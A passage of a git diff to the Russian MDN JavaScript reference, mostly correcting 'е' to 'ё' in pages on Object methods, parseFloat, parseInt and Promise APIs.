Object.prototype.hasOwnProperty; return function (O) { - // 1. Если Type(O) не является Object or Null выдается исключение TypeError. + // 1. Если Type(O) не является Object or Null выдаётся исключение TypeError. if (typeof O != 'object') { throw TypeError('Object prototype may only be an Object or null'); } @@ -183,7 +183,7 @@ o2 = Object.create({}, { var obj = new Temp(); Temp.prototype = null; // Давайте не будем держать случайные ссылки на О... - // 4. Если аргумент Properties присутствует и не определен, добавляем + // 4. Если аргумент Properties присутствует и не определён, добавляем // собственные свойства к obj, как будто вызывая стандартную встроенную // функцию Object.defineProperties с аргументами obj и // Properties. diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html index 87a9de90b8..7487e1241a 100644 --- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries --- <div>{{JSRef}}</div> -<p><code><strong>Object.entries()</strong></code> метод возвращает массив собственных перечисляемых свойств указанного объекта в формате <code>[key, value]</code>, в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается <code><strong>Object.entries()</strong></code> не зависит от того как объект объявлен. Если существует необходимость в определенном порядке, то массив должен быть отсортирован до вызова метода, например <code>Object.entries(obj).sort((a, b) => a[0] - b[0]);</code>.</p> +<p><code><strong>Object.entries()</strong></code> метод возвращает массив собственных перечисляемых свойств указанного объекта в формате <code>[key, value]</code>, в том же порядке, что и в цикле {{jsxref("Statements/for...in", "for...in")}} (разница в том, что for-in перечисляет свойства из цепочки прототипов). Порядок элементов в массиве который возвращается <code><strong>Object.entries()</strong></code> не зависит от того как объект объявлен. Если существует необходимость в определённом порядке, то массив должен быть отсортирован до вызова метода, например <code>Object.entries(obj).sort((a, b) => a[0] - b[0]);</code>.</p> <p>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</p> diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html index 7bf1d17719..0a52348cb4 100644 --- a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries <h2 id="Описание">Описание</h2> -<p>Метод <code>Object.fromEntries()</code> принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент <em>iterable </em>будет объектом, который реализует метод <code>@@iterator</code>, который возвращает объект итератора, который создает двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.</p> +<p>Метод <code>Object.fromEntries()</code> принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент <em>iterable </em>будет объектом, который реализует метод <code>@@iterator</code>, который возвращает объект итератора, который создаёт двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.</p> <p><code>Object.fromEntries()</code> выполняет процедуру, обратную {{jsxref("Object.entries()")}}.</p> diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html index 1700aa0e2c..62830748df 100644 --- a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDes <dt><code>set</code></dt> <dd>Функция, которая служит установщиком для свойства, или {{jsxref("undefined")}} если установщика нет (только дескрипторы доступа).</dd> <dt><code>configurable</code></dt> - <dd><code>true</code> тогда и только тогда, когда тип этого свойства дескриптора может быть изменен, и если свойство может быть удалено из соответствующего объекта.</dd> + <dd><code>true</code> тогда и только тогда, когда тип этого свойства дескриптора может быть изменён, и если свойство может быть удалено из соответствующего объекта.</dd> <dt><code>enumerable</code></dt> <dd><code>true</code> тогда и только тогда, когда это свойство отображается при перечислении свойств соответствующего объекта. <p> </p> diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html index 38bfcb624a..112c18c60f 100644 --- a/files/ru/web/javascript/reference/global_objects/object/values/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html @@ -52,7 +52,7 @@ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; my_obj.foo = "bar"; console.log(Object.values(my_obj)); // ['bar'] -// Аргумент, не являющийся объектом, будет приведен к объекту +// Аргумент, не являющийся объектом, будет приведён к объекту console.log(Object.values("foo")); // ['f', 'o', 'o'] </pre> diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html index 03cb0bc158..e108d37e8d 100644 --- a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html +++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html @@ -44,11 +44,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat <p><code>parseFloat</code> - это высокоуровневая функция, не привязанная ни к одному объекту.</p> -<p><code>parseFloat</code> разбирает текстовую строку, ищет и возвращает из нее десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернет значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.</p> +<p><code>parseFloat</code> разбирает текстовую строку, ищет и возвращает из неё десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернёт значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.</p> -<p>Если первый символ нельзя привести к числовому виду, <code>parseFloat</code> вернет<code> NaN</code>.</p> +<p>Если первый символ нельзя привести к числовому виду, <code>parseFloat</code> вернёт<code> NaN</code>.</p> -<p>С точки зрения математики, <code>значение NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseFloat </code>значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> +<p>С точки зрения математики, <code>значение NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли <code>parseFloat </code>значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> <p><code>parseFloat</code> также может вернуть значение <code>Infinity</code> ("бесконечность"). Вы можете использовать функцию {{jsxref("Global_Objects/isFinite", "isFinite")}}, чтобы определить, является ли результат конечным числом (not <code>Infinity</code>, <code>-Infinity</code>, или <code>NaN</code>).</p> @@ -76,7 +76,7 @@ parseFloat(foo);</code></pre> <h3 id="parseFloat_возвращает_NaN"><code>parseFloat</code> возвращает NaN</h3> -<p>Пример ниже вернет <code>NaN</code></p> +<p>Пример ниже вернёт <code>NaN</code></p> <pre class="brush: js">parseFloat("FF2"); </pre> diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html index 093ad5971c..fd1942b04d 100644 --- a/files/ru/web/javascript/reference/global_objects/parseint/index.html +++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html @@ -54,13 +54,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseInt <ul> <li>Если значение входного параметра <code>string</code> начинается с "<code>0x</code>" или "<code>0X</code>", <var>за основание системы счисления принимается 16, и интерпретации подвергается оставшаяся часть строки.</var></li> - <li>Если значение входного параметра <code>string</code> начинается с "0", <var>за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации.</var> В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается еще не всеми браузерами, поэтому необходимо <strong>всегда указывать основание системы счисления при использовании функции </strong><strong><code>parseInt</code></strong>.</li> + <li>Если значение входного параметра <code>string</code> начинается с "0", <var>за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации.</var> В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается ещё не всеми браузерами, поэтому необходимо <strong>всегда указывать основание системы счисления при использовании функции </strong><strong><code>parseInt</code></strong>.</li> <li>Если значение входного параметра <code>string</code> начинается с любого другого символа, система счисления считается десятичной (основание 10).</li> </ul> <p>Если первый символ строки не может быть преобразован в число, <code>parseInt</code> возвращает значение <code>NaN</code>.</p> -<p>С точки зрения математики, значение <code>NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернет ли <code>parseInt </code>значение<code> </code><code>NaN </code>в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> +<p>С точки зрения математики, значение <code>NaN</code> не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли <code>parseInt </code>значение<code> </code><code>NaN </code>в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвует в арифметических операциях, результатом также будет <code>NaN</code>.</p> <p>Для преобразования числа в строку в указанной системе счисления, используйте <code>intValue.toString(radix)</code>.</p> diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html index b6291344c2..4a79cf71ab 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/all/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html @@ -27,19 +27,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>{{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонен, если будет отклонено хоть одно из переданных обещаний.</p> +<p>{{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонён, если будет отклонено хоть одно из переданных обещаний.</p> <h2 id="Description" name="Description">Описание</h2> <p><strong>Promise.all</strong> возвращает массив значений от всех обещаний, которые были ему переданы. Возвращаемый массив значений сохраняет порядок оригинального перечисляемого объекта, но не порядок выполнения обещаний. <code>Если какой-либо элемент перечисляемого объекта не является обещанием, то он будет преобразован с помощью метода </code>{{jsxref("Promise.resolve")}}<code>.</code></p> -<p>Если одно из переданных обещаний будет отклонено, <code><strong>Promise.all </strong></code>будет немедленно отклонен со значением отклоненного обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то <code><strong>Promise.all</strong> </code>будет выполнен немедленно<code>. </code></p> +<p>Если одно из переданных обещаний будет отклонено, <code><strong>Promise.all </strong></code>будет немедленно отклонён со значением отклонённого обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то <code><strong>Promise.all</strong> </code>будет выполнен немедленно<code>. </code></p> <h2 id="Примеры">Примеры</h2> <h3 id="Использование_Promise.all">Использование <code>Promise.all</code></h3> -<p><strong>Promise.all </strong>ждет выполнения всех обещаний (или первого метода <code><strong>reject</strong>()</code>).</p> +<p><strong>Promise.all </strong>ждёт выполнения всех обещаний (или первого метода <code><strong>reject</strong>()</code>).</p> <pre><code>var p1 = Promise.resolve(3); var p2 = 1337; @@ -57,7 +57,7 @@ Promise.all([p1, p2, p3]).then(values => { <h3 id="Promise.all_поведение_немедленного_отклонения"><code>Promise.all</code> поведение немедленного отклонения</h3> -<p><strong><code>Promise.all</code></strong> будет немедленно отклонен если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда <strong><code>Promise.all</code></strong> будет немедленно отклонен.</p> +<p><strong><code>Promise.all</code></strong> будет немедленно отклонён если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда <strong><code>Promise.all</code></strong> будет немедленно отклонен.</p> <pre><code>var p1 = new Promise((resolve, reject) => { setTimeout(resolve, 1000, "one"); @@ -72,7 +72,7 @@ var p4 = new Promise((resolve, reject) => { setTimeout(resolve, 4000, "four"); }); var p5 = new Promise((resolve, reject) => { -// Это обещание прервет Promise.all +// Это обещание прервёт Promise.all reject("reject"); }); diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html index 339d9f7aad..fc85e0927c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/any/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any --- <div>{{JSRef}}</div> -<p><code>Метод Promise.any()</code> принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(<code>Promise)</code> выполнится успешно(<code>fullfill</code>), метод возвратит единственный объект <code>Promise</code> со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. <code>rejected</code>), тогда возвращенный объект promise будет отклонен(<code>rejected</code>) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод <code>Promise.any()</code> является противоположностью для {{JSxRef("Promise.all()")}}.</p> +<p><code>Метод Promise.any()</code> принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(<code>Promise)</code> выполнится успешно(<code>fullfill</code>), метод возвратит единственный объект <code>Promise</code> со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. <code>rejected</code>), тогда возвращённый объект promise будет отклонён(<code>rejected</code>) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод <code>Promise.any()</code> является противоположностью для {{JSxRef("Promise.all()")}}.</p> <div class="blockIndicator warning"> <p><strong>Warning!</strong> The <code>Promise.any()</code> method is experimental and not fully supported by all browsers. It is currently in the <a href="https://github.com/tc39/proposal-promise-any" rel="external">TC39 Candidate stage (Stage 3)</a>.</p> @@ -27,25 +27,25 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any <ul> <li><strong>Исполненный</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект пуст.</li> <li><strong>Исполненный асинхронно</strong> {{JSxRef("Promise")}}, если переданный итерируемый объект не содержит "обещаний"(promises).</li> - <li>Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(<strong>pending)</strong>. Возвращенное "обещание" будет <strong>исполнено</strong>(resolved/rejected) <strong>асинхронно</strong> (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из <em>переданного итерируемого объекта исполнится</em>, либо все "обещания" будут отклонены.</li> + <li>Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(<strong>pending)</strong>. Возвращённое "обещание" будет <strong>исполнено</strong>(resolved/rejected) <strong>асинхронно</strong> (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из <em>переданного итерируемого объекта исполнится</em>, либо все "обещания" будут отклонены.</li> </ul> <h2 id="Описание">Описание</h2> -<p>Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит <em>массив(Array)</em> значений исполненных обещаний, <code>Promise.any()</code> содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого <strong>завершенного(resolved или rejected)</strong>, этот метод возвращает "обещание" содержащее значение первого <strong>успешно выполненного(resolved) </strong>"обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).</p> +<p>Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит <em>массив(Array)</em> значений исполненных обещаний, <code>Promise.any()</code> содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого <strong>завершённого(resolved или rejected)</strong>, этот метод возвращает "обещание" содержащее значение первого <strong>успешно выполненного(resolved) </strong>"обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).</p> <h3 id="Успешное_исполнениеFullfilment">Успешное исполнение(Fullfilment)</h3> -<p>Если одно из "обещаний" исполнится успешно, возвращенное "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".</p> +<p>Если одно из "обещаний" исполнится успешно, возвращённое "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".</p> <ul> <li>Если передан пустой итерируемый объект, тогда метод возвращает (синхронно) выполненное "обещание".</li> - <li>Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращенное из метода <code>Promise.any</code> асинхронно исполнится успешно.</li> + <li>Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращённое из метода <code>Promise.any</code> асинхронно исполнится успешно.</li> </ul> <h3 id="Исполнение_с_ошибкойRejection">Исполнение с ошибкой(Rejection)</h3> -<p>Если все переданные "обещания" будут отклонены(rejected), <code>Promise.any</code> асинхронно будет отклонено в одном из двух вариантов (которые еще не были согласованы): либо</p> +<p>Если все переданные "обещания" будут отклонены(rejected), <code>Promise.any</code> асинхронно будет отклонено в одном из двух вариантов (которые ещё не были согласованы): либо</p> <ul> <li>Массив(Array) содержащий причины отклонения всех "обещаний" переданных в итерируемом объекте, либо</li> diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html index 91d7970796..3515b9c63c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch --- <div>{{JSRef}}</div> -<p>Метод <strong>catch()</strong> возвращает <code>Promise(</code>обещание) и работает только в случае отклонения обещания. Ведет себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p> +<p>Метод <strong>catch()</strong> возвращает <code>Promise(</code>обещание) и работает только в случае отклонения обещания. Ведёт себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.</p> <h2 id="Syntax">Syntax</h2> @@ -31,7 +31,7 @@ p.catch(function(reason) { <dt><code>reason</code></dt> <dd>Причина отказа.</dd> <dt> - <p>Promise( Обещание ), возвращенное catch (), отклоняется, если onRejected выдает ошибку(throw) или возвращает Promise, который был отклонен; В противном случае Promise, возвращаемый catch () имеет статус выполнено (fulfilled)</p> + <p>Promise( Обещание ), возвращённое catch (), отклоняется, если onRejected выдаёт ошибку(throw) или возвращает Promise, который был отклонён; В противном случае Promise, возвращаемый catch () имеет статус выполнено (fulfilled)</p> </dt> </dl> </dd> @@ -72,7 +72,7 @@ p1.then(function(value) { console.log('Not fired due to the catch'); }); -// Следующий код ведет себя также, как вышенаписанный +// Следующий код ведёт себя также, как вышенаписанный p1.then(function(value) { console.log(value); // "Success!" return Promise.reject('oh, no!'); diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html index b1a53051fa..c12f7625a0 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally --- <div>{{JSRef}}</div> -<p>Метод <code><strong>finally()</strong></code> возвращает {{jsxref("Promise")}}. Когда <code>Promise</code> (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это дает возможность запустить один раз определенный участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился <code>Promise</code>.</p> +<p>Метод <code><strong>finally()</strong></code> возвращает {{jsxref("Promise")}}. Когда <code>Promise</code> (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это даёт возможность запустить один раз определённый участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился <code>Promise</code>.</p> <p>Это позволяет вам избавиться от дубликации кода в обработчиках {{jsxref("Promise.then", "then()")}} и {{jsxref("Promise.catch", "catch()")}}.</p> @@ -14,11 +14,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally <pre class="syntaxbox"><var>p.finally(onFinally)</var>; p.finally(function() { - // завершен (успешно или с ошибкой) + // завершён (успешно или с ошибкой) }); p.finally(() => { -// завершен (успешно или с ошибкой) +// завершён (успешно или с ошибкой) });</pre> <h3 id="Параметры">Параметры</h3> @@ -40,7 +40,7 @@ p.finally(() => { <ul> <li>Использование <code>finally()</code> позволяет избежать двойного объявления одной и той же функции или создания переменной. </li> - <li><code>finally</code> не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости ее/его передавать.</li> + <li><code>finally</code> не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости её/его передавать.</li> <li>В отличие от <code>Promise.resolve(2).then(() => {}, () => {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.resolve(2).finally(() => {})</code> будет resolved-промис со значением <code>2</code>.</li> <li>Аналогично, в отличии от <code>Promise.reject(3).then(() => {}, () => {})</code> (результатом которого будет resolved-промис, со значением <code>undefined</code>), результатом <code>Promise.reject(3).finally(() => {})</code> будет rejected-промис со значением <code>3</code>.</li> </ul> diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html index f5701b4694..7410136177 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/index.html @@ -29,13 +29,13 @@ new Promise(function(resolve, reject) { ... });</pre> <dl> <dt>executor</dt> - <dd>Объект функции с двумя аргументами <code>resolve</code> и <code>reject</code>. Функция <code>executor</code> получает оба аргумента и выполняется сразу, еще до того как конструктор вернет созданный объект. Первый аргумент (<code>resolve</code>) вызывает успешное исполнение промиса, второй (<code>reject</code>) отклоняет его.<br> + <dd>Объект функции с двумя аргументами <code>resolve</code> и <code>reject</code>. Функция <code>executor</code> получает оба аргумента и выполняется сразу, ещё до того как конструктор вернёт созданный объект. Первый аргумент (<code>resolve</code>) вызывает успешное исполнение промиса, второй (<code>reject</code>) отклоняет его.<br> Обычно функция <code>executor</code> описывает выполнение какой-то асинхронной работы, по завершении которой необходимо вызвать функцию <code>resolve</code> или <code>reject</code>. Обратите внимание, что возвращаемое значение функции <code>executor</code> игнорируется.</dd> </dl> <h2 id="Описание">Описание</h2> -<p>Интерфейс <code><strong>Promise</strong></code> (промис) представляет собой обертку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается <em>обещание </em>(промис)<em> </em>получить результат в некоторый момент в будущем.</p> +<p>Интерфейс <code><strong>Promise</strong></code> (промис) представляет собой обёртку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается <em>обещание </em>(промис)<em> </em>получить результат в некоторый момент в будущем.</p> <p><code>Promise</code> может находиться в трёх состояниях:</p> @@ -45,14 +45,14 @@ new Promise(function(resolve, reject) { ... });</pre> <li><em>отклонено (rejected)</em>: операция завершена с ошибкой.</li> </ul> -<p>При создании промис находится в <em>ожидании (pending)</em>, а затем может стать <em>исполненным </em> (<em>fulfilled)</em>, вернув полученный результат (значение), или <em>отклоненным </em>(<em>rejected),</em> вернув причину отказа. В любом из этих случаев вызывается обработчик, прикрепленный к промису методом <code>then</code>. (Если в момент назначения обработчика промис уже исполнен или отклонен, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)</p> +<p>При создании промис находится в <em>ожидании (pending)</em>, а затем может стать <em>исполненным </em> (<em>fulfilled)</em>, вернув полученный результат (значение), или <em>отклонённым </em>(<em>rejected),</em> вернув причину отказа. В любом из этих случаев вызывается обработчик, прикреплённый к промису методом <code>then</code>. (Если в момент назначения обработчика промис уже исполнен или отклонён, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)</p> <p>Так как методы <code>{{JSxRef("Promise.then", "Promise.prototype.then()")}}</code> и <code>{{JSxRef("Promise.catch", "Promise.prototype.catch()")}}</code> сами возвращают промис, их можно вызывать цепочкой, создавая <em>соединения.</em></p> <p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> <div class="blockIndicator note"> -<p><strong>Примечание:</strong> говорят, что промис находится в состоянии <em>завершен (settled) </em>когда он или исполнен или отклонен, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин <em>исполин (resolved) </em>— это значит что промис <em>завершен </em>или "заблокирован" в ожидании завершения другого промиса. В статье <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния и fates</a> приводится более подробное описание терминологии.</p> +<p><strong>Примечание:</strong> говорят, что промис находится в состоянии <em>завершён (settled) </em>когда он или исполнен или отклонён, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин <em>исполин (resolved) </em>— это значит что промис <em>завершён </em>или "заблокирован" в ожидании завершения другого промиса. В статье <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния и fates</a> приводится более подробное описание терминологии.</p> </div> <h2 id="Свойства">Свойства</h2> @@ -69,13 +69,13 @@ new Promise(function(resolve, reject) { ... });</pre> <dl> <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt> <dd>Ожидает исполнения всех промисов или отклонения любого из них.</dd> - <dd>Возвращает промис, который исполнится после исполнения всех промисов в <code>iterable</code>. В случае, если любой из промисов будет отклонен, <code>Promise.all</code> будет также отклонен.</dd> + <dd>Возвращает промис, который исполнится после исполнения всех промисов в <code>iterable</code>. В случае, если любой из промисов будет отклонён, <code>Promise.all</code> будет также отклонен.</dd> <dt>{{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}</dt> <dd>Ожидает завершения всех полученных промисов (как исполнения так и отклонения).</dd> <dd>Возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.</dd> <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt> <dd>Ожидает исполнения или отклонения любого из полученных промисов.</dd> - <dd>Возвращает промис, который будет исполнен или отклонен с результатом исполнения первого исполненного или отклонённого промиса из .<code>iterable</code>.</dd> + <dd>Возвращает промис, который будет исполнен или отклонён с результатом исполнения первого исполненного или отклонённого промиса из .<code>iterable</code>.</dd> </dl> <dl> @@ -88,7 +88,7 @@ new Promise(function(resolve, reject) { ... });</pre> <dd>Возвращает промис, исполненный с результатом <code>value</code>.</dd> <dd> <div class="hidden"> - <p>Если у <code>value</code> имеется метод <code>then</code>, то возвращаемый промис будет "следовать" продолжению, выступая адаптером его состояния; в противном случае будет возвращен промис в исполненном состоянии. Если вы не уверены, является ли некоторое значение промисом, вы можете обернуть его в {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} и продолжить работу с ним как с промисом.</p> + <p>Если у <code>value</code> имеется метод <code>then</code>, то возвращаемый промис будет "следовать" продолжению, выступая адаптером его состояния; в противном случае будет возвращён промис в исполненном состоянии. Если вы не уверены, является ли некоторое значение промисом, вы можете обернуть его в {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} и продолжить работу с ним как с промисом.</p> </div> </dd> </dl> @@ -105,7 +105,7 @@ new Promise(function(resolve, reject) { ... });</pre> <h2 id="Создание_промиса">Создание промиса</h2> -<p>Объект <code>Promise</code> создается при помощи ключевого слова <code>new</code> и своего конструктора. Конструктор <code>Promise</code> принимает в качестве аргумента функцию, называемую "исполнитель" (<em>executor function</em>). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (<code>resolve</code>) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (<code>reject</code>) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.</p> +<p>Объект <code>Promise</code> создаётся при помощи ключевого слова <code>new</code> и своего конструктора. Конструктор <code>Promise</code> принимает в качестве аргумента функцию, называемую "исполнитель" (<em>executor function</em>). Эта функция должна принимать две функции-колбэка в качестве параметров. 